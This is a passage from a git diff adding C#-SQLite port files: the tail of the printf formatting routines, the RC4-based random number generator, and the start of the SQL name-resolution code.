| flag_alternateform | flag_altform2; + /* The sign in front of the number */ + if ( prefix != '\0' ) + { + buf[bufpt++] = prefix; + } + /* Digits prior to the decimal point */ + if ( e2 < 0 ) + { + buf[bufpt++] = '0'; + } + else + { + for ( ; e2 >= 0 ; e2-- ) + { + buf[bufpt++] = (char)( et_getdigit( ref realvalue, ref nsd ) + '0' ); // *(bufpt++) = et_getdigit(ref realvalue, ref nsd); + } + + } + /* The decimal point */ + if ( flag_dp ) + { + buf[bufpt++] = '.'; + } + /* "0" digits after the decimal point but before the first + ** significant digit of the number */ + for ( e2++ ; e2 < 0 ; precision--, e2++ ) + { + Debug.Assert( precision > 0 ); + buf[bufpt++] = '0'; + } + /* Significant digits after the decimal point */ + while ( ( precision-- ) > 0 ) + { + buf[bufpt++] = (char)( et_getdigit( ref realvalue, ref nsd ) + '0' ); // *(bufpt++) = et_getdigit(&realvalue, nsd); + } + /* Remove trailing zeros and the "." if no digits follow the "." */ + if ( flag_rtz && flag_dp ) + { + while ( buf[bufpt - 1] == '0' ) buf[--bufpt] = '\0'; + Debug.Assert( bufpt > 0 ); + if ( buf[bufpt - 1] == '.' ) + { + if ( flag_altform2 ) + { + buf[( bufpt++ )] = '0'; + } + else + { + buf[( --bufpt )] = '0'; + } + } + } + /* Add the "eNNN" suffix */ + if ( flag_exp || xtype == etEXP ) + { + buf[bufpt++] = aDigits[infop.charset]; + if ( exp < 0 ) + { + buf[bufpt++] = '-'; exp = -exp; + } + else + { + buf[bufpt++] = '+'; + } + if ( exp >= 100 ) + { + buf[bufpt++] = (char)( exp / 100 + '0' ); /* 100's digit */ + exp %= 100; + } + buf[bufpt++] = (char)( exp / 10 + '0' ); /* 10's digit */ + buf[bufpt++] = (char)( exp % 10 + '0' ); /* 1's digit */ + } + //bufpt = 0; + + /* The converted number is in buf[] and zero terminated. Output it. + ** Note that the number is in the usual order, not reversed as with + ** integer conversions. */ + length = bufpt;//length = (int)(bufpt-buf); + bufpt = 0; + + /* Special case: Add leading zeros if the flag_zeropad flag is + ** set and we are not left justified */ + if ( flag_zeropad && !flag_leftjustify && length < width ) + { + int i; + int nPad = width - length; + for ( i = width ; i >= nPad ; i-- ) + { + buf[bufpt + i] = buf[bufpt + i - nPad]; + } + i = ( prefix != '\0' ? 1 : 0 ); + while ( nPad-- != 0 ) buf[( bufpt++ ) + i] = '0'; + length = width; + bufpt = 0; + } +#endif + break; + case etSIZE: + ap[0] = pAccum.nChar; // *(va_arg(ap,int*)) = pAccum.nChar; + length = width = 0; + break; + case etPERCENT: + buf[0] = '%'; + bufpt = 0; + length = 1; + break; + case etCHARX: + c = (char)va_arg( ap, "char" ); + buf[0] = (char)c; + if ( precision >= 0 ) + { + for ( idx = 1 ; idx < precision ; idx++ ) buf[idx] = (char)c; + length = precision; + } + else + { + length = 1; + } + bufpt = 0; + break; + case etSTRING: + case etDYNSTRING: + bufpt = 0;// + string bufStr = (string)va_arg( ap, "string" ); + if ( bufStr.Length > buf.Length ) buf = new char[bufStr.Length]; + bufStr.ToCharArray().CopyTo( buf, 0 ); + bufpt = bufStr.Length; + if ( bufpt == 0 ) + { + buf[0] = '\0'; + } + else if ( xtype == etDYNSTRING ) + { + // zExtra = bufpt; + } + if ( precision >= 0 ) + { + for ( length = 0 ; length < precision && length < bufStr.Length && buf[length] != 0 ; length++ ) { } + //length += precision; + } + else + { + length = sqlite3Strlen30( bufpt ); + } + bufpt = 0; + break; + case etSQLESCAPE: + case etSQLESCAPE2: + case etSQLESCAPE3: + { + int i; int j; int n; + bool isnull; + bool needQuote; + char ch; + char q = ( ( xtype == etSQLESCAPE3 ) ? '"' : '\'' ); /* Quote character */ + string escarg = (string)va_arg( ap, "char*" ) + '\0'; + isnull = ( escarg == "" || escarg == "NULL\0" ); + if ( isnull ) escarg = ( xtype == etSQLESCAPE2 ) ? "NULL\0" : "(NULL)\0"; + for ( i = n = 0 ; ( ch = escarg[i] ) != 0 ; i++ ) + { + if ( ch == q ) n++; + } + needQuote = !isnull && ( xtype == etSQLESCAPE2 ); + n += i + 1 + ( needQuote ? 2 : 0 ); + if ( n > etBUFSIZE ) + { + buf = new char[n];//bufpt = zExtra = sqlite3Malloc(n); + //if ( bufpt == 0 ) + //{ + // pAccum->mallocFailed = 1; + // return; + //} + bufpt = 0; //Start of Buffer + } + else + { + //bufpt = buf; + bufpt = 0; //Start of Buffer + } + j = 0; + if ( needQuote ) buf[bufpt + j++] = q; + for ( i = 0 ; ( ch = escarg[i] ) != 0 ; i++ ) + { + buf[bufpt + j++] = ch; + if ( ch == q ) buf[bufpt + j++] = ch; + } + if ( needQuote ) buf[bufpt + j++] = q; + buf[bufpt + j] = '\0'; + length = j; + /* The precision is ignored on %q and %Q */ + /* if( precision>=0 && precision= 0 && k < pSrc.nSrc ); + if ( pItem.zDatabase != null ) + { + sqlite3StrAccumAppend( pAccum, pItem.zDatabase, -1 ); + sqlite3StrAccumAppend( pAccum, ".", 1 ); + } + sqlite3StrAccumAppend( pAccum, pItem.zName, -1 ); + length = width = 0; + break; + } + default: + { + Debug.Assert( xtype == etINVALID ); + return; + } + }/* End switch over the format type */ + /* + ** The text of the conversion is pointed to by "bufpt" and is + ** "length" characters long. The field width is "width". Do + ** the output. + */ + if ( !flag_leftjustify ) + { + int nspace; + nspace = width - length;// -2; + if ( nspace > 0 ) + { + appendSpace( pAccum, nspace ); + } + } + if ( length > 0 ) + { + sqlite3StrAccumAppend( pAccum, new string( buf, bufpt, length ), length ); + } + if ( flag_leftjustify ) + { + int nspace; + nspace = width - length; + if ( nspace > 0 ) + { + appendSpace( pAccum, nspace ); + } + } + //if( zExtra ){ + // //sqlite3DbFree(db,ref zExtra); + //} + }/* End for loop over the format string */ + } /* End of function */ + + /* + ** Append N bytes of text from z to the StrAccum object. + */ + + static void sqlite3StrAccumAppend( StrAccum p, string z, int N ) + { + Debug.Assert( z != null || N == 0 ); + if ( p.tooBig != 0 )//|| p.mallocFailed != 0 ) + { + testcase( p.tooBig ); + //testcase( p.mallocFailed ); + return; + } + if ( N < 0 ) + { + N = sqlite3Strlen30( z ); + } + if ( N == 0 || NEVER( z == null ) ) + { + return; + } + //if ( p.nChar + N >= p.nAlloc ) + //{ + // char* zNew; + // if ( !p.useMalloc ) + // { + // p.tooBig = 1; + // N = p.nAlloc - p.nChar - 1; + // if ( N <= 0 ) + // { + // return; + // } + // } + // else + // { + // i64 szNew = p.nChar; + // szNew += N + 1; + // if ( szNew > p.mxAlloc ) + // { + // sqlite3StrAccumReset( p ); + // p.tooBig = 1; + // return; + // } + // else + // { + // p.nAlloc = (int)szNew; + // } + // zNew = sqlite3DbMalloc( p.nAlloc ); + // if ( zNew ) + // { + // memcpy( zNew, p.zText, p.nChar ); + // sqlite3StrAccumReset( p ); + // p.zText = zNew; + // } + // else + // { + // p.mallocFailed = 1; + // sqlite3StrAccumReset( p ); + // return; + // } + // } + //} + //memcpy( &p.zText[p.nChar], z, N ); + p.zText.Append( z.Substring( 0, N <= z.Length ? N : z.Length ) ); + p.nChar += N; + } + + /* + ** Finish off a string by making sure it is zero-terminated. + ** Return a pointer to the resulting string. Return a NULL + ** pointer if any kind of error was encountered. + */ + static string sqlite3StrAccumFinish( StrAccum p ) + { + //if (p.zText.Length > 0) + //{ + // p.zText[p.nChar] = 0; + // if (p.useMalloc && p.zText == p.zBase) + // { + // p.zText = sqlite3DbMalloc(p.nChar + 1); + // if (p.zText) + // { + // memcpy(p.zText, p.zBase, p.nChar + 1); + // } + // else + // { + // p.mallocFailed = 1; + // } + // } + //} + return p.zText.ToString(); + } + + /* + ** Reset an StrAccum string. Reclaim all malloced memory. + */ + static void sqlite3StrAccumReset( StrAccum p ) + { + if ( p.zText.ToString() != p.zBase.ToString() ) + { + //sqlite3DbFree( p.db, ref p.zText ); + } + p.zText = new StringBuilder(); + } + + /* + ** Initialize a string accumulator + */ + static void sqlite3StrAccumInit( StrAccum p, StringBuilder zBase, int n, int mx ) + { + p.zText = p.zBase = zBase; + p.db = null; + p.nChar = 0; + p.nAlloc = n; + p.mxAlloc = mx; + p.useMalloc = 1; + p.tooBig = 0; + //p.mallocFailed = 0; + } + + /* + ** Print into memory obtained from sqliteMalloc(). Use the internal + ** %-conversion extensions. + */ + static string sqlite3VMPrintf( sqlite3 db, string zFormat, params va_list[] ap ) + { + if ( zFormat == null ) return null; + if ( ap.Length == 0 ) return zFormat; + string z; + StringBuilder zBase = new StringBuilder( SQLITE_PRINT_BUF_SIZE ); + StrAccum acc = new StrAccum(); + Debug.Assert( db != null ); + sqlite3StrAccumInit( acc, zBase, zBase.Capacity, //zBase).Length; + db.aLimit[SQLITE_LIMIT_LENGTH] ); + acc.db = db; + sqlite3VXPrintf( acc, 1, zFormat, ap ); + z = sqlite3StrAccumFinish( acc ); +// if ( acc.mallocFailed != 0 ) +// { +////// db.mallocFailed = 1; +// } + return z; + } + + /* + ** Print into memory obtained from sqliteMalloc(). Use the internal + ** %-conversion extensions. + */ + static string sqlite3MPrintf( sqlite3 db, string zFormat, params va_list[] ap ) + { + //va_list ap; + string z; + va_start( ap, zFormat ); + z = sqlite3VMPrintf( db, zFormat, ap ); + va_end( ap ); + return z; + } + + /* + ** Like sqlite3MPrintf(), but call //sqlite3DbFree() on zStr after formatting + ** the string and before returnning. This routine is intended to be used + ** to modify an existing string. For example: + ** + ** x = sqlite3MPrintf(db, x, "prefix %s suffix", x); + ** + */ + static string sqlite3MAppendf( sqlite3 db, string zStr, string zFormat, params va_list[] ap ) + { + //va_list ap; + string z; + va_start( ap, zFormat ); + z = sqlite3VMPrintf( db, zFormat, ap ); + va_end( ap ); + //sqlite3DbFree( db, zStr ); + return z; + } + + /* + ** Print into memory obtained from sqlite3Malloc(). Omit the internal + ** %-conversion extensions. + */ + static string sqlite3_vmprintf( string zFormat, params va_list[] ap ) + { + string z; + StringBuilder zBase = new StringBuilder( SQLITE_PRINT_BUF_SIZE ); + StrAccum acc = new StrAccum(); +#if !SQLITE_OMIT_AUTOINIT + if ( sqlite3_initialize() != 0 ) return ""; +#endif + sqlite3StrAccumInit( acc, zBase, zBase.Length, SQLITE_PRINT_BUF_SIZE );//zBase).Length; + sqlite3VXPrintf( acc, 0, zFormat, ap ); + z = sqlite3StrAccumFinish( acc ); + return z; + } + + /* + ** Print into memory obtained from sqlite3Malloc()(). Omit the internal + ** %-conversion extensions. + */ + public static string sqlite3_mprintf( string zFormat, params va_list[] ap ) + { //, ...){ + //va_list ap; + string z; +#if !SQLITE_OMIT_AUTOINIT + if ( sqlite3_initialize() != 0 ) return ""; +#endif + va_start( ap, zFormat ); + z = sqlite3_vmprintf( zFormat, ap ); + va_end( ap ); + return z; + } + + /* + ** sqlite3_snprintf() works like snprintf() except that it ignores the + ** current locale settings. This is important for SQLite because we + ** are not able to use a "," as the decimal point in place of "." as + ** specified by some locales. + */ + public static string sqlite3_snprintf( int n, ref StringBuilder zBuf, string zFormat, params va_list[] ap ) + { + StringBuilder zBase = new StringBuilder( SQLITE_PRINT_BUF_SIZE ); + //va_list ap; + StrAccum acc = new StrAccum(); + + if ( n <= 0 ) + { + return zBuf.ToString(); + } + sqlite3StrAccumInit( acc, zBase, n, 0 ); + acc.useMalloc = 0; + va_start( ap, zFormat ); + sqlite3VXPrintf( acc, 0, zFormat, ap ); + va_end( ap ); + zBuf.Length = 0; + zBuf.Append( sqlite3StrAccumFinish( acc ) ); + if ( n - 1 < zBuf.Length ) zBuf.Length = n - 1; + return zBuf.ToString(); + } + + public static string sqlite3_snprintf( int n, ref string zBuf, string zFormat, params va_list[] ap ) + { + string z; + StringBuilder zBase = new StringBuilder( SQLITE_PRINT_BUF_SIZE ); + //va_list ap; + StrAccum acc = new StrAccum(); + + if ( n <= 0 ) + { + return zBuf; + } + sqlite3StrAccumInit( acc, zBase, n, 0 ); + acc.useMalloc = 0; + va_start( ap, zFormat ); + sqlite3VXPrintf( acc, 0, zFormat, ap ); + va_end( ap ); + z = sqlite3StrAccumFinish( acc ); + return ( zBuf = z ); + } + +#if SQLITE_DEBUG || DEBUG || TRACE + /* +** A version of printf() that understands %lld. Used for debugging. +** The printf() built into some versions of windows does not understand %lld +** and segfaults if you give it a long long int. +*/ + static void sqlite3DebugPrintf( string zFormat, params va_list[] ap ) + { + //va_list ap; + StrAccum acc = new StrAccum(); + StringBuilder zBuf = new StringBuilder( SQLITE_PRINT_BUF_SIZE ); + sqlite3StrAccumInit( acc, zBuf, zBuf.Capacity, 0 ); + acc.useMalloc = 0; + va_start( ap, zFormat ); + sqlite3VXPrintf( acc, 0, zFormat, ap ); + va_end( ap ); + sqlite3StrAccumFinish( acc ); + Console.Write( zBuf.ToString() ); + //fflush(stdout); + } +#endif + } +} diff --git a/SQLite/src/random_c.cs b/SQLite/src/random_c.cs new file mode 100644 index 0000000..f22cffd --- /dev/null +++ b/SQLite/src/random_c.cs @@ -0,0 +1,190 @@ +using System; +using System.Diagnostics; + +using i64 = System.Int64; +using u8 = System.Byte; +using u32 = System.UInt32; +using u64 = System.UInt64; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains code to implement a pseudo-random number + ** generator (PRNG) for SQLite. + ** + ** Random numbers are used by some of the database backends in order + ** to generate random integer keys for tables or random filenames. + ** + ** $Id: random.c,v 1.29 2008/12/10 19:26:24 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + + /* All threads share a single random number generator. + ** This structure is the current state of the generator. + */ + public class sqlite3PrngType + { + public bool isInit; /* True if initialized */ + public int i; + public int j; /* State variables */ + public u8[] s = new u8[256]; /* State variables */ + + public sqlite3PrngType Copy() + { + sqlite3PrngType cp = (sqlite3PrngType)MemberwiseClone(); + cp.s = new u8[s.Length]; + Array.Copy( s, cp.s, s.Length ); + return cp; + } + } + public static sqlite3PrngType sqlite3Prng = new sqlite3PrngType(); + /* + ** Get a single 8-bit random value from the RC4 PRNG. The Mutex + ** must be held while executing this routine. + ** + ** Why not just use a library random generator like lrand48() for this? + ** Because the OP_NewRowid opcode in the VDBE depends on having a very + ** good source of random numbers. The lrand48() library function may + ** well be good enough. But maybe not. Or maybe lrand48() has some + ** subtle problems on some systems that could cause problems. It is hard + ** to know. To minimize the risk of problems due to bad lrand48() + ** implementations, SQLite uses this random number generator based + ** on RC4, which we know works very well. + ** + ** (Later): Actually, OP_NewRowid does not depend on a good source of + ** randomness any more. But we will leave this code in all the same. + */ + static u8 randomu8() + { + u8 t; + + /* The "wsdPrng" macro will resolve to the pseudo-random number generator + ** state vector. If writable static data is unsupported on the target, + ** we have to locate the state vector at run-time. In the more common + ** case where writable static data is supported, wsdPrng can refer directly + ** to the "sqlite3Prng" state vector declared above. + */ +#if SQLITE_OMIT_WSD +struct sqlite3PrngType *p = &GLOBAL(struct sqlite3PrngType, sqlite3Prng); +//# define wsdPrng p[0] +#else + //# define wsdPrng sqlite3Prng + sqlite3PrngType wsdPrng = sqlite3Prng; +#endif + + + /* Initialize the state of the random number generator once, +** the first time this routine is called. The seed value does +** not need to contain a lot of randomness since we are not +** trying to do secure encryption or anything like that... +** +** Nothing in this file or anywhere else in SQLite does any kind of +** encryption. The RC4 algorithm is being used as a PRNG (pseudo-random +** number generator) not as an encryption device. +*/ + if ( !wsdPrng.isInit ) + { + int i; + u8[] k = new u8[256]; + wsdPrng.j = 0; + wsdPrng.i = 0; + sqlite3OsRandomness( sqlite3_vfs_find( "" ), 256, ref k ); + for ( i = 0 ; i < 255 ; i++ ) + { + wsdPrng.s[i] = (u8)i; + } + for ( i = 0 ; i < 255 ; i++ ) + { + wsdPrng.j = (u8)( wsdPrng.j + wsdPrng.s[i] + k[i] ); + t = wsdPrng.s[wsdPrng.j]; + wsdPrng.s[wsdPrng.j] = wsdPrng.s[i]; + wsdPrng.s[i] = t; + } + wsdPrng.isInit = true; + } + + /* Generate and return single random u8 + */ + wsdPrng.i++; + t = wsdPrng.s[(u8)wsdPrng.i]; + wsdPrng.j = (u8)( wsdPrng.j + t ); + wsdPrng.s[(u8)wsdPrng.i] = wsdPrng.s[wsdPrng.j]; + wsdPrng.s[wsdPrng.j] = t; + t += wsdPrng.s[(u8)wsdPrng.i]; + return wsdPrng.s[t]; + } + + /* + ** Return N random u8s. + */ + static void sqlite3_randomness( int N, ref i64 pBuf ) + { + //u8[] zBuf = new u8[N]; + pBuf = 0; +#if SQLITE_THREADSAFE +sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_PRNG ); +#endif + sqlite3_mutex_enter( mutex ); + while ( N-- > 0 ) + { + pBuf = (u32)( ( pBuf << 8 ) + randomu8() );// zBuf[N] = randomu8(); + } + sqlite3_mutex_leave( mutex ); + } + +#if !SQLITE_OMIT_BUILTIN_TEST + /* +** For testing purposes, we sometimes want to preserve the state of +** PRNG and restore the PRNG to its saved state at a later time, or +** to reset the PRNG to its initial state. These routines accomplish +** those tasks. +** +** The sqlite3_test_control() interface calls these routines to +** control the PRNG. +*/ + static sqlite3PrngType sqlite3SavedPrng = null; + static void sqlite3PrngSaveState() + { + sqlite3SavedPrng = sqlite3Prng.Copy(); + // memcpy( + // &GLOBAL(struct sqlite3PrngType, sqlite3SavedPrng), + // &GLOBAL(struct sqlite3PrngType, sqlite3Prng), + // sizeof(sqlite3Prng) + //); + } + static void sqlite3PrngRestoreState() + { + sqlite3Prng = sqlite3SavedPrng.Copy(); + //memcpy( + // &GLOBAL(struct sqlite3PrngType, sqlite3Prng), + // &GLOBAL(struct sqlite3PrngType, sqlite3SavedPrng), + // sizeof(sqlite3Prng) + //); + } + static void sqlite3PrngResetState() + { + sqlite3Prng.isInit = false;// GLOBAL(struct sqlite3PrngType, sqlite3Prng).isInit = 0; + } +#endif //* SQLITE_OMIT_BUILTIN_TEST */ + } +} diff --git a/SQLite/src/resolve_c.cs b/SQLite/src/resolve_c.cs new file mode 100644 index 0000000..07e630a --- /dev/null +++ b/SQLite/src/resolve_c.cs @@ -0,0 +1,1350 @@ +using System; +using System.Diagnostics; +using System.Text; + +using Bitmask = System.UInt64; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; + +namespace CS_SQLite3 +{ + using sqlite3_value = CSSQLite.Mem; + + public partial class CSSQLite + { + /* + ** 2008 August 18 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file contains routines used for walking the parser tree and + ** resolve all identifiers by associating them with a particular + ** table and column. + ** + ** $Id: resolve.c,v 1.30 2009/06/15 23:15:59 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + //#include + //#include + + /* + ** Turn the pExpr expression into an alias for the iCol-th column of the + ** result set in pEList. + ** + ** If the result set column is a simple column reference, then this routine + ** makes an exact copy. But for any other kind of expression, this + ** routine make a copy of the result set column as the argument to the + ** TK_AS operator. The TK_AS operator causes the expression to be + ** evaluated just once and then reused for each alias. + ** + ** The reason for suppressing the TK_AS term when the expression is a simple + ** column reference is so that the column reference will be recognized as + ** usable by indices within the WHERE clause processing logic. + ** + ** Hack: The TK_AS operator is inhibited if zType[0]=='G'. This means + ** that in a GROUP BY clause, the expression is evaluated twice. Hence: + ** + ** SELECT random()%5 AS x, count(*) FROM tab GROUP BY x + ** + ** Is equivalent to: + ** + ** SELECT random()%5 AS x, count(*) FROM tab GROUP BY random()%5 + ** + ** The result of random()%5 in the GROUP BY clause is probably different + ** from the result in the result-set. We might fix this someday. Or + ** then again, we might not... + */ + static void resolveAlias( + Parse pParse, /* Parsing context */ + ExprList pEList, /* A result set */ + int iCol, /* A column in the result set. 0..pEList.nExpr-1 */ + Expr pExpr, /* Transform this into an alias to the result set */ + string zType /* "GROUP" or "ORDER" or "" */ + ) + { + Expr pOrig; /* The iCol-th column of the result set */ + Expr pDup; /* Copy of pOrig */ + sqlite3 db; /* The database connection */ + + Debug.Assert( iCol >= 0 && iCol < pEList.nExpr ); + pOrig = pEList.a[iCol].pExpr; + Debug.Assert( pOrig != null ); + Debug.Assert( ( pOrig.flags & EP_Resolved ) != 0 ); + db = pParse.db; + if ( pOrig.op != TK_COLUMN && ( zType.Length == 0 || zType[0] != 'G' ) ) + { + pDup = sqlite3ExprDup( db, pOrig, 0 ); + pDup = sqlite3PExpr( pParse, TK_AS, pDup, null, null ); + if ( pDup == null ) return; + if ( pEList.a[iCol].iAlias == 0 ) + { + pEList.a[iCol].iAlias = (u16)( ++pParse.nAlias ); + } + pDup.iTable = pEList.a[iCol].iAlias; + } + else if ( ExprHasProperty( pOrig, EP_IntValue ) || pOrig.u.zToken == null ) + { + pDup = sqlite3ExprDup( db, pOrig, 0 ); + if ( pDup == null ) return; + } + else + { + string zToken = pOrig.u.zToken; + Debug.Assert( zToken != null ); + pOrig.u.zToken = null; + pDup = sqlite3ExprDup( db, pOrig, 0 ); + pOrig.u.zToken = zToken; + if ( pDup == null ) return; + Debug.Assert( ( pDup.flags & ( EP_Reduced | EP_TokenOnly ) ) == 0 ); + pDup.flags2 |= EP2_MallocedToken; + pDup.u.zToken = zToken;// sqlite3DbStrDup( db, zToken ); + } + if ( ( pExpr.flags & EP_ExpCollate ) != 0 ) + { + pDup.pColl = pExpr.pColl; + pDup.flags |= EP_ExpCollate; + } + sqlite3ExprClear( db, pExpr ); + pExpr.CopyFrom( pDup ); //memcpy(pExpr, pDup, sizeof(*pExpr)); + //sqlite3DbFree( db, ref pDup ); + } + + /* + ** Given the name of a column of the form X.Y.Z or Y.Z or just Z, look up + ** that name in the set of source tables in pSrcList and make the pExpr + ** expression node refer back to that source column. The following changes + ** are made to pExpr: + ** + ** pExpr->iDb Set the index in db->aDb[] of the database X + ** (even if X is implied). + ** pExpr->iTable Set to the cursor number for the table obtained + ** from pSrcList. + ** pExpr->pTab Points to the Table structure of X.Y (even if + ** X and/or Y are implied.) + ** pExpr->iColumn Set to the column number within the table. + ** pExpr->op Set to TK_COLUMN. + ** pExpr->pLeft Any expression this points to is deleted + ** pExpr->pRight Any expression this points to is deleted. + ** + ** The zDb variable is the name of the database (the "X"). This value may be + ** NULL meaning that name is of the form Y.Z or Z. Any available database + ** can be used. The zTable variable is the name of the table (the "Y"). This + ** value can be NULL if zDb is also NULL. If zTable is NULL it + ** means that the form of the name is Z and that columns from any table + ** can be used. + ** + ** If the name cannot be resolved unambiguously, leave an error message + ** in pParse and return WRC_Abort. Return WRC_Prune on success. + */ + static int lookupName( + Parse pParse, /* The parsing context */ + string zDb, /* Name of the database containing table, or NULL */ + string zTab, /* Name of table containing column, or NULL */ + string zCol, /* Name of the column. */ + NameContext pNC, /* The name context used to resolve the name */ + Expr pExpr /* Make this EXPR node point to the selected column */ + ) + { + int i, j; /* Loop counters */ + int cnt = 0; /* Number of matching column names */ + int cntTab = 0; /* Number of matching table names */ + sqlite3 db = pParse.db; /* The database connection */ + SrcList_item pItem; /* Use for looping over pSrcList items */ + SrcList_item pMatch = null; /* The matching pSrcList item */ + NameContext pTopNC = pNC; /* First namecontext in the list */ + Schema pSchema = null; /* Schema of the expression */ + + Debug.Assert( pNC != null ); /* the name context cannot be NULL. */ + Debug.Assert( zCol != null ); /* The Z in X.Y.Z cannot be NULL */ + Debug.Assert( !ExprHasAnyProperty( pExpr, EP_TokenOnly | EP_Reduced ) ); + + /* Initialize the node to no-match */ + pExpr.iTable = -1; + pExpr.pTab = null; + ExprSetIrreducible( pExpr ); + + /* Start at the inner-most context and move outward until a match is found */ + while ( pNC != null && cnt == 0 ) + { + ExprList pEList; + SrcList pSrcList = pNC.pSrcList; + + if ( pSrcList != null ) + { + for ( i = 0 ; i < pSrcList.nSrc ; i++ )//, pItem++ ) + { + pItem = pSrcList.a[i]; + Table pTab; + int iDb; + Column pCol; + + pTab = pItem.pTab; + Debug.Assert( pTab != null && pTab.zName != null ); + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + Debug.Assert( pTab.nCol > 0 ); + if ( zTab != null ) + { + if ( pItem.zAlias != null ) + { + string zTabName = pItem.zAlias; + if ( sqlite3StrICmp( zTabName, zTab ) != 0 ) continue; + } + else + { + string zTabName = pTab.zName; + if ( NEVER( zTabName == null ) || sqlite3StrICmp( zTabName, zTab ) != 0 ) + { + continue; + } + if ( zDb != null && sqlite3StrICmp( db.aDb[iDb].zName, zDb ) != 0 ) + { + continue; + } + } + } + if ( 0 == ( cntTab++ ) ) + { + pExpr.iTable = pItem.iCursor; + pExpr.pTab = pTab; + pSchema = pTab.pSchema; + pMatch = pItem; + } + for ( j = 0 ; j < pTab.nCol ; j++ )//, pCol++ ) + { + pCol = pTab.aCol[j]; + if ( sqlite3StrICmp( pCol.zName, zCol ) == 0 ) + { + IdList pUsing; + cnt++; + pExpr.iTable = pItem.iCursor; + pExpr.pTab = pTab; + pMatch = pItem; + pSchema = pTab.pSchema; + /* Substitute the rowid (column -1) for the INTEGER PRIMARY KEY */ + pExpr.iColumn = (short)( j == pTab.iPKey ? -1 : j ); + if ( i < pSrcList.nSrc - 1 ) + { + if ( ( pSrcList.a[i + 1].jointype & JT_NATURAL ) != 0 )// pItem[1].jointype + { + /* If this match occurred in the left table of a natural join, + ** then skip the right table to avoid a duplicate match */ + //pItem++; + i++; + } + else if ( ( pUsing = pSrcList.a[i + 1].pUsing ) != null )//pItem[1].pUsing + { + /* If this match occurs on a column that is in the USING clause + ** of a join, skip the search of the right table of the join + ** to avoid a duplicate match there. */ + int k; + for ( k = 0 ; k < pUsing.nId ; k++ ) + { + if ( sqlite3StrICmp( pUsing.a[k].zName, zCol ) == 0 ) + { + //pItem++; + i++; + break; + } + } + } + } + break; + } + } + } + } + +#if !SQLITE_OMIT_TRIGGER + /* If we have not already resolved the name, then maybe +** it is a new.* or old.* trigger argument reference +*/ + if ( zDb == null && zTab != null && cnt == 0 && pParse.trigStack != null ) + { + TriggerStack pTriggerStack = pParse.trigStack; + Table pTab = null; + u32 piColMask = 0; + bool bNew = false; + bool bOld = false; + if ( pTriggerStack.newIdx != -1 && sqlite3StrICmp( "new", zTab ) == 0 ) + { + pExpr.iTable = pTriggerStack.newIdx; + Debug.Assert( pTriggerStack.pTab != null ); + pTab = pTriggerStack.pTab; + piColMask = pTriggerStack.newColMask; + bNew = true; + } + else if ( pTriggerStack.oldIdx != -1 && sqlite3StrICmp( "old", zTab ) == 0 ) + { + pExpr.iTable = pTriggerStack.oldIdx; + Debug.Assert( pTriggerStack.pTab != null ); + pTab = pTriggerStack.pTab; + piColMask = pTriggerStack.oldColMask; + bOld = true; + } + + if ( pTab != null ) + { + int iCol; + Column pCol;// = pTab.aCol; + + pSchema = pTab.pSchema; + cntTab++; + for ( iCol = 0 ; iCol < pTab.nCol ; iCol++ )//, pCol++) + { + pCol = pTab.aCol[iCol]; + if ( sqlite3StrICmp( pCol.zName, zCol ) == 0 ) + { + cnt++; + pExpr.iColumn = (short)( iCol == pTab.iPKey ? -1 : iCol ); + pExpr.pTab = pTab; + testcase( iCol == 31 ); + testcase( iCol == 32 ); + if ( iCol >= 32 ) + { + piColMask = 0xffffffff; + } + else + { + piColMask |= ( (u32)1 ) << iCol; + } + break; + } + } + if ( bOld ) pTriggerStack.oldColMask = piColMask; + if ( bNew ) pTriggerStack.newColMask = piColMask; + } + } +#endif //* !SQLITE_OMIT_TRIGGER) */ + + /* +** Perhaps the name is a reference to the ROWID +*/ + if ( cnt == 0 && cntTab == 1 && sqlite3IsRowid( zCol ) ) + { + cnt = 1; + pExpr.iColumn = -1; + pExpr.affinity = SQLITE_AFF_INTEGER; + } + + /* + ** If the input is of the form Z (not Y.Z or X.Y.Z) then the name Z + ** might refer to an result-set alias. This happens, for example, when + ** we are resolving names in the WHERE clause of the following command: + ** + ** SELECT a+b AS x FROM table WHERE x<10; + ** + ** In cases like this, replace pExpr with a copy of the expression that + ** forms the result set entry ("a+b" in the example) and return immediately. + ** Note that the expression in the result set should have already been + ** resolved by the time the WHERE clause is resolved. + */ + if ( cnt == 0 && ( pEList = pNC.pEList ) != null && zTab == null ) + { + for ( j = 0 ; j < pEList.nExpr ; j++ ) + { + string zAs = pEList.a[j].zName; + if ( zAs != null && sqlite3StrICmp( zAs, zCol ) == 0 ) + { + Expr pOrig; + Debug.Assert( pExpr.pLeft == null && pExpr.pRight == null ); + Debug.Assert( pExpr.x.pList == null ); + Debug.Assert( pExpr.x.pSelect == null ); + pOrig = pEList.a[j].pExpr; + if ( 0 == pNC.allowAgg && ExprHasProperty( pOrig, EP_Agg ) ) + { + sqlite3ErrorMsg( pParse, "misuse of aliased aggregate %s", zAs ); + return WRC_Abort; + } + resolveAlias( pParse, pEList, j, pExpr, "" ); + cnt = 1; + pMatch = null; + Debug.Assert( zTab == null && zDb == null ); + goto lookupname_end; + } + } + } + + /* Advance to the next name context. The loop will exit when either + ** we have a match (cnt>0) or when we run out of name contexts. + */ + if ( cnt == 0 ) + { + pNC = pNC.pNext; + } + } + + /* + ** If X and Y are NULL (in other words if only the column name Z is + ** supplied) and the value of Z is enclosed in double-quotes, then + ** Z is a string literal if it doesn't match any column names. In that + ** case, we need to return right away and not make any changes to + ** pExpr. + ** + ** Because no reference 